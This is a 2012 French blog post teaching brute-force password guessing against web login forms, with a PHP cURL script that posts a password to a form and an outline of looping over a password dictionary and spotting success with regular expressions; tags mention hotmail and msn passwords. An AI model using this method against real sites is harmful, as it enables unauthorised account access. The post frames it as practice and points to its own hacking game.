Overblog Suivre ce blog
Editer l'article Administration Créer mon blog
10 février 2012 5 10 /02 /février /2012 22:20

Une question récurrente que l'on trouve sur la toile est comment faire une attaque brute force. Il n'y a très peu d'information sur le sujet. Souvent on trouve le principe de base qui n'est pas bien compliqué à comprendre. Néanmoins l'implémentation n'est pas simple. Je tiens à vous préciser que cette méthode de fonctionne pas du tout avec msn, hotmail, facebook. Le brute force ne marche pas car ces sites empêchent une même ip de se connecter plus de trois fois de suite. Vous pouvez essayer pour vous en convaincre.

 

hacking girl hack pirate brute force

 

Définition du Hack par Brute Force ou Brute Forcing

 

Le principe du hacking par Brute Force n'est pas difficile à comprendre. Il s'agit de tester toutes le combinaisons possibles pour trouver un mot de passe. La méthode doit par définition fonctionner au bout d'un moment. Néanmoins, cela prendre plus ou moins de temps. C'est fonction du nombre de test que vous pouvez faire à la seconde. Essayer de cracker un code à 3 chiffres d'un cadenas de vélo de cette manière. Normalement vous y arriverez en moins d'une demi heure. 

Ensuite bien évidement, on peut optimiser la méthode en testant les mots du dictionnaire ou des mots de passes courants. Mais cela relève davantage de l'ingénierie sociale que de programmation. 

 

Tuto d'un algorithme brute force en php

 

Je pense que des spécialistes vous diront que le php n'est vraiment pas la meilleure méthode pour faire ce genre d'attaque, je pense pour ma part que c'est un bon début pour tester la méthode Brute Force. 

 

1. Analyse de la cible

Imaginons que la page cible soit codée de cette manière :

 

Mot de passe :

 

<form id="form1" name="form1" method="post" action="index.php">
Mot de passe : 
  <label>
  <input type="password" name="mdp" id="mdp" />
  </label>
</form>

 

2. Remplire automatiquement un formulaire php

Bon vous l'aurez comprit, maintenant il faut coder un script qui permet de remplire automatiquement ce formulaire. Pour cela on va utiliser un script robot en php . Lisez le code suivant, je le commenterai par la suite.

<? 
$postfields = array();
$postfields["action"] = "submit";
$postfields["mdp"] = "Tiger";
//url de la page à hacker
$url = "http://guitarizon.over-blog.com/idontexist.php";
$useragent = "Mozilla/5.0";
$referer = $url; 

//Initialise une session CURL
$ch = curl_init($url);
//CURL options
curl_setopt($ch, CURLOPT_POST, 1);
//On poste les données du tableau $postfields
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
//On définit un useragent ici Mozilla/5.0
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
//On passe un referrer ici on passe la même page $url
curl_setopt($ch, CURLOPT_REFERER, $referer);
//on récupère le contenu de la page de résultat de la soumission dans une chaine
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// en cas de redirection (facultatif ici)
//curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
//Page de résultats et fermeture de session
$result = curl_exec($ch);
curl_close($ch);
//on peut faire un echo du résultat obtenu 

echo $result;
?>

 

Je pense que vous l'avez compris, on créer un tableau $postfields qui contient les valeurs du formulaire cible HTML sur la page PHP à hacker. Ensuite on utilise la fonction PHP CURL qui permet justement de remplir automatiquement les formulaires. Elle est pas belle la vie. 

 

3. Analyse de résultat et mise en oeuvre de l'algorithme

Bon je ne vais pas tout vous écrire ici. De toute manière si vous n'êtes pas capable de l'implanter vous même, ca ne marchera sûrement pas. Je vais vous donner simplement l'idée du code. L'idée n'est donc pas de tester toutes les combinaisons sinon vous allez y passer l'année, le siècle ou plus... Bon il vous faut un bon dico brute force. Je vous laisse le trouver, voir le construire en fonction de la cible. 

Vous pouvez soit le stocker dans une base de donnée ou bien dans un fichier texte. A vous de voir.

Ensuite et bien il faut répéter autant de fois qu'il y a de mots dans le dictionnaire le script php ci-dessus. Pour tester la sortie de la boucle, il faut repérer un changement entre la page d'erreur et la bonne. Pour cela il faut repérer à grand coups d'expressions régulières la variable $result

Je comprends que ca fait appel à pas mal de connaissance mais ce n'est pas si difficile au final. 

 

Essayer ce bruteforce légalement

 

Je vous rappel que le piratage de site internet est formellement interdit. Je vous propose donc de vous entraîner légalement et sans risques pour vous. J'ai créer un petit jeu pour que vous puissiez expérimenter. Voici le liens : Jeu Hacking n°2 : recherche de mot de passe (technique hack)

Je vous rappel aussi que j'ai fait un autre petit jeu de hack plus facile : Jeu Hacking n°1 : trouver un mot de passe (finding password).

 

Que la force soit avec vous ! 

Je mettrai le script complet sur facebook dans les prochains jours. N'hésitez pas à aimer la page : https://www.facebook.com/pages/Guitarizon/283565425043426

 

Tags : brute force msndictionnaire brute force, bruteforcebrute force hotmail password, download, brutus, dico, algo, algorithme

Partager cet article

Repost 0
Published by Paulux - dans Truc de Geek
commenter cet article

commentaires

jeu 18/02/2015 16:19

j'ai combiner le script de cet article avec un autre repris sur le net ici

http://www.braindisorder.org/2008/11/md5-brute-force-with-php/

j'ai fai un test avec mot de passe genre "abcdefghijk"
ca prend une eternite pour faire toutes les combinaison.

Catégories